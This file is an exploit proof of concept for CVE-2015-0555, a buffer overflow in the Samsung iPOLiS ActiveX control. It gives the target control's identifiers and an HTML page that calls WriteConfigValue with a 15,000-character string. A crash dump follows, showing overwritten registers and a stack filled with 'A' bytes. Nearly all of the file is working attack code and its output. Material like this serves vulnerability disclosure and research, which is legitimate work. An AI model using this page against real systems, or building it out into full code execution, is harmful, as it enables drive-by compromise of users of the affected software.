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# Exploit Title: (0day)Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC (CVE-2015-0555)
# Date: 22/02/2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: *https://www.samsung-security.com/Tools/device-manager.aspx
# Version: Samsung iPOLiS 1.12.2
# Tested on: Windows 7 Ultimate N SP1
# CVE: 2015-0555
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Vulnerability found and PoC coded by Praveen Darshanam
http://blog.disects.com
CVE-2015-0555
targetFile = "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype = "Function WriteConfigValue ( ByVal szKey As String , ByVal szValue As String ) As Long"
memberName = "WriteConfigValue"
progid = "XNSSDKDEVICELib.XnsSdkDevice"
Operating System = Windows 7 Ultimate N SP1
Vulnerable Software = Samsung iPOLiS 1.12.2
CERT tried to coordinate but there wasn't any response from Samsung
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<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var arg1 = "";
var arg2="praveend";
for (i=0; i<= 15000; i++)
{
arg1 += "A";
}
target.WriteConfigValue(arg1 ,arg2);
</script>
</html>
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#############Stack Trace####################
Exception Code: ACCESS_VIOLATION
Disasm: 149434 MOV AL,[ESI+EDX]
Seh Chain:
--------------------------------------------------
1 647C7D7D mfc100.dll
2 647D0937 mfc100.dll
3 64E242CA VBSCRIPT.dll
4 77B3E0ED ntdll.dll
Called From Returns To
--------------------------------------------------
XNSSDKDEVICE.149434 41414141
41414141 414141
414141 3DA4C4
3DA4C4 mfc100.647790C1
mfc100.647790C1 56746C75
Registers:
--------------------------------------------------
EIP 00149434
EAX 00003841
EBX 00609FB0 -> 0015A564
ECX 00003814
EDX 00414141
EDI 0000008F
ESI 0000008F
EBP 002BE5FC -> Asc: AAAAAAAAAAA
ESP 002BE564 -> 0000000C
Block Disassembly:
--------------------------------------------------
149423 XOR EDI,EDI
149425 XOR ESI,ESI
149427 MOV [EBP-8C],ECX
14942D TEST ECX,ECX
14942F JLE SHORT 00149496
149431 MOV EDX,[EBP+8]
149434 MOV AL,[ESI+EDX] <--- CRASH
149437 CMP AL,2F
149439 JNZ SHORT 00149489
14943B MOV ECX,EBX
14943D TEST ESI,ESI
14943F JNZ SHORT 0014944D
149441 PUSH 159F28
149446 CALL 0014F7C0
14944B JMP SHORT 00149476
ArgDump:
--------------------------------------------------
EBP+8 00414141
EBP+12 003DA4C4 -> Asc: defaultV
EBP+16 647790C1 -> EBE84589
EBP+20 FFFFFFFE
EBP+24 646CBE5C -> CCCCCCC3
EBP+28 0000001C
Stack Dump:
--------------------------------------------------
2BE564 0C 00 00 00 00 E6 2B 00 B0 93 14 00 14 38 00 00 [................]
2BE574 C4 A4 3D 00 41 41 41 41 41 41 41 41 41 41 41 41 [................]
2BE584 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
2BE594 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
2BE5A4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
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